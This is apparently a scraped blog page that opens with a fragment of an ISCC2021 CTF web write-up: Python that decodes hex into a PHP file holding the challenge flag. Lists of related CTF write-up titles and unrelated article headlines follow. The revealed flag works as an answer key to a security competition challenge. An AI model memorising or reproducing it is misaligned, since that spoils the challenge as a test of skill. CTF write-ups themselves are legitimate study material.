s=bytes.fromhex(m)
print(s)#b'<?php\r\n$flag="iscc{eeeeeasy_web!!666666}";\r\n?>'

ISCC2021 Web WP相关推荐

  1. 纵横杯2020 web wp

    title: 纵横杯2020 web wp date: 2020-12-26 18:19:03 tags: CTF categories: 比赛 link:https://yq1ng.github.i ...

  2. Buuctf -web wp汇总(一)

    Buuctf -web wp汇总(一):链接 Buuctf -web wp汇总(二):链接 持续更新ing~ BuuCTF平台 文章目录 BuuCTF平台 [极客大挑战 2019]EasySQL [极 ...

  3. Buuctf -web wp汇总(三)

    Buuctf -web wp汇总(一):链接 Buuctf -web wp汇总(二):链接 Buuctf -web wp汇总(三):链接 文章目录 [WUSTCTF2020]朴实无华 [WUSTCTF ...

  4. ISCC2021 MISC wp

    ISCC2021 MISC wp 文章目录 ISCC2021 MISC wp 练武题 0x00 Retrieve the passcode 0x01 海市蜃楼-1 0x02 李华的红包 0x03 美人 ...

  5. NSSCTF Round#4 Web WP

    前言 整体Web题目不是很难,正适合我这个菜鸡打,也是我第一次在博客上发WP就好好写写,之前的比赛都没做出几道题所以没机会写,之后会更多地更新博客. 1zweb 这道题被非预期解了,查看文件可以直接文 ...

  6. jarvis oj(web wp)

    api调用 这题是slim架构的xxe漏洞,看博客做题2333 https://www.leavesongs.com/PENETRATION/slim3-xxe.html simple injecti ...

  7. [极客大挑战2021]web wp

    极客大挑战2021 Welcome2021 F12,提示请使用WELCOME请求方法来请求此网页 burp抓包,修改请求方法,发现f1111aaaggg9.php 再次请求得到flag Dark To ...

  8. bugku web wp

    写在前面: 简单步骤不再复现,只是再复习一下知识点,可以挖深一点. web2 F12 计算器 F12改html $get $post ? & hackbar 矛盾 很多解法 1加一个符号就行了 ...

  9. UNCTF2020 | Web Wp

    文章目录 Web 0x01:easy_ssrf 0x02:babyeval 0x03:ezphp 0x04:easy_upload 0x05:L0vephp 0x06:easyflask 0x07:e ...

最新文章

  1. 连接centos7桌面方法
  2. 长尾关键词优化也要讲技巧
  3. SVN中提交时提示副本被锁定,执行清理时也提示副本被锁定的解决办法
  4. MongoDB 聚合操作
  5. PATB1014福尔摩斯的约会
  6. uni开发中可以用table标签么_「uni-app 组件」t-table 表格
  7. 用python怎么下载_如何使用python下载视频
  8. 实现等待wx.login完成后在执行其他请求
  9. android 单独编译contacts,Android编译全过程
  10. SQL中常用日期函数
  11. InVEST模型在固碳、生境质量、产水等领域案例分析
  12. OBS无延迟视频直播完整教程(组图)
  13. html制作图片幻灯片效果代码,【JS+CSS3】实现带预览图幻灯片效果的示例代码
  14. Linux下oracle 数据库表空间、用户的创建,数据的导入导出操作指南
  15. 移动电影院迎来2.0版本,5部影片在移动电影院上举办“首映礼”
  16. vue[高德地图行车路径规划以及路线记录绘制操作]
  17. 要闻君说:小米9已确认无线充电;华为着手操作的5G火车站启动建设仪式将于本月18日“登陆”;三星提出大力发展电信网络设备业务……...
  18. 天语W700 adb驱动解决
  19. sql2000安装程序配置服务器失败
  20. 打造专递课堂,即构成为希沃专递课堂实时音视频技术唯一提供方

热门文章

  1. 用以促学——Linux进程后台运行的原理、方法、比较及其实现
  2. java的书写规范_java书写规范以及技巧
  3. vLive虚拟直播,助力企业打造线上云年会
  4. makefile教程_Makefile教程
  5. g 最新编译器linux,Linux下安装gcc 、g++ 、gfortran编译器
  6. mysql中where in用法
  7. Python开发, 恶意病毒扫描
  8. 互联网支付系统整体架构
  9. 人民币和美元兑换的编程python_python人民币和美元转换
  10. linux的pv原语